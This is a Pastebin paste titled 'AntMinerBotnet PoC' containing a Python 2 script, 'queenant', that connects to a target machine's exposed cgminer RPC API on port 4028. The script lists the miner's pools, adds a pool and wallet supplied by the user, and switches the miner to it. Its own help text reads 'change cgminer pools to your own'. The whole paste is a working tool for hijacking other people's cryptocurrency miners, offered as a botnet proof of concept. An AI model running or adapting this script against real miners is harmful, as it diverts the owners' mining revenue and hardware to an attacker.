_d3f4ult

[+] AntMinerBotnet PoC [+]

Jul 15th, 2016
5,119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.23 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # https://github.com/dnoiz1/queenant/blob/develop/queen.py
  4.  
  5. import socket, argparse, sys, logging as log
  6. try:
  7.     import simplejson as json
  8. except:
  9.     import json
  10.  
  11.  
  12. __author__  = "Tim Noise <[email protected]>"
  13. __version__ = "0.0.1"
  14.  
  15. RED    = '\033[91m'
  16. YELLOW = '\033[33m'
  17. GREEN  = '\033[32m'
  18. BOLD   = '\033[1m'
  19. END    = '\033[0m'
  20.  
  21.  
  22. __doc__ = """{0}{1}
  23. ________
  24. \_____  \\  __ __   ____   ____   ____
  25. /  / \ \|  |  \_/ __ \_/ __ \ /    \\
  26. /   \_/.  \ |  /\ ___/\ ___/|   |  \\
  27. \_____\ \_/____/  \___  >\___  >___|  /
  28.       \__>           \/     \/     \/
  29.       |   /
  30.        \ |
  31.         \_|
  32.     __  /` ;
  33.   `'  \ `\_/ _         minions!
  34.     '-/ \/ '._             bathe,
  35.  /'-./| |.--. `                meee.
  36. _/  _.-\/--.  |
  37. `   |   /`-. \ '-.
  38.    |   |   | \\
  39.   /    |   /  `-.
  40. -'     \__/{2}
  41. """.format(RED, BOLD, END)
  42.  
  43.  
  44. log.addLevelName(log.DEBUG, "%s[d]%s" % (YELLOW, END))
  45. log.addLevelName(log.INFO,  "%s[+]%s" % (GREEN, END))
  46. log.addLevelName(log.ERROR, "%s[!]%s" % (RED, END))
  47.  
  48. log.basicConfig(format='%(levelname)s %(message)s', level=log.INFO)
  49.  
  50.  
  51. class CgminerAPI(object):
  52.     """ Cgminer RPC API wrapper. """
  53.     def __init__(self, host='localhost', port=4028):
  54.         self.data = {}
  55.         self.host = host
  56.         self.port = port
  57.  
  58.     def command(self, command, arg=None):
  59.         """ Initialize a socket connection,
  60.        send a command (a json encoded dict) and
  61.        receive the response (and decode it).
  62.        """
  63.         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  64.  
  65.         try:
  66.             log.debug("connecting to %s:%d", self.host, self.port)
  67.             sock.connect((self.host, self.port))
  68.         except socket.error, e:
  69.             log.error("unable to connect to %s:%d", self.host, self.port)
  70.             sys.exit(1)
  71.  
  72.         try:
  73.             payload = {"command": command}
  74.             if arg is not None:
  75.                 # Parameter must be converted to basestring (no int)
  76.                 payload.update({'parameter': unicode(arg)})
  77.  
  78.             sock.send(json.dumps(payload))
  79.             received = self._receive(sock)
  80.  
  81.         finally:
  82.             sock.shutdown(socket.SHUT_RDWR)
  83.             sock.close()
  84.  
  85.         return json.loads(received[:-1])
  86.  
  87.     def _receive(self, sock, size=4096):
  88.         msg = ''
  89.         while 1:
  90.             chunk = sock.recv(size)
  91.             if chunk:
  92.                 msg += chunk
  93.             else:
  94.                 break
  95.         return msg
  96.  
  97.     def __getattr__(self, attr):
  98.         def out(arg=None):
  99.             return self.command(attr, arg)
  100.         return out
  101.  
  102. if __name__ == "__main__":
  103.     print __doc__
  104.  
  105.     parser = argparse.ArgumentParser(prog="queenant", description="change cgminer pools to your own",
  106.                     epilog="""./queen.py 10.1.1.2 --port 4028 \\
  107.                            "stratum+tcp://us.clevermining.com:3333" <yourBTCwallet> 123""")
  108.  
  109.     parser.add_argument("host", help="target IP machaine")
  110.     parser.add_argument("pool", help="new pool host")
  111.     parser.add_argument("pool_user", help="username for new pool")
  112.     parser.add_argument("pool_pass", help="pass for new pool")
  113.  
  114.     parser.add_argument("--port", type=int, default=4028, help="target port for cgminer rpc")
  115.     # parser.add_argument("--conf", type=str, default="/config/cgminer.conf", help="remote config file (default: /config/cgminer.conf)")
  116.  
  117.     args = parser.parse_args()
  118.  
  119.     log.info("connecting to: %s:%d", args.host, args.port)
  120.  
  121.     cg = CgminerAPI(args.host, args.port)
  122.  
  123.     # general info
  124.     summary = cg.command('summary')
  125.  
  126.     log.info("Version: %s", summary['STATUS'][0]['Description'])
  127.     log.info("Average GH/s: %s", summary['SUMMARY'][0]['GHS av'])
  128.  
  129.  
  130.     # pool info
  131.     pools = cg.command('pools')['POOLS']
  132.  
  133.     log.info("Configured Pools: %d", len(pools))
  134.  
  135.     for k, pool in enumerate(pools):
  136.         log.info("Pool %d", k)
  137.         log.info("\tURL: %s", pool['URL'])
  138.         log.info("\tUsername: %s", pool['User'])
  139.  
  140.     # add a new pool
  141.     log.info("adding new pool...")
  142.  
  143.     addpool = cg.command('addpool', "%s,%s,%s" % (args.pool, args.pool_user, args.pool_pass))
  144.  
  145.     if (addpool['STATUS'][0]['STATUS'] == 'S'):
  146.         new_pool_id = int(addpool['STATUS'][0]['Msg'][11])
  147.         log.info("Success! pool added as pool id %d", new_pool_id)
  148.     else:
  149.         log.error("Failed to add pool, check cgminer/API-README for details")
  150.         log.debug(addpool)
  151.         sys.exit(1)
  152.  
  153.     # set it to active - this will switch priority to 0
  154.     log.info("switching new pool to active")
  155.  
  156.     switchpool = cg.command('switchpool', new_pool_id)
  157.  
  158.     if (switchpool['STATUS'][0]['STATUS'] == 'S'):
  159.         log.info("Success! switched to new pool")
  160.     else:
  161.         log.error("Failed to switch to new pool, check cgminer/API-README for details")
  162.         log.debug(switchpool)
  163.         sys.exit(1)
  164.  
  165.     # pool info
  166.     log.info("new pool configuration")
  167.  
  168.     pools = cg.command('pools')['POOLS']
  169.  
  170.     log.info("Configured Pools: %d", len(pools))
  171.  
  172.     for k, pool in enumerate(pools):
  173.         log.info("Pool %d", k)
  174.         log.info("\tURL: %s", pool['URL'])
  175.         log.info("\tUsername: %s", pool['User'])
  176.  
  177.     # that will do for now
Advertisement
Add Comment
Please, Sign In to add comment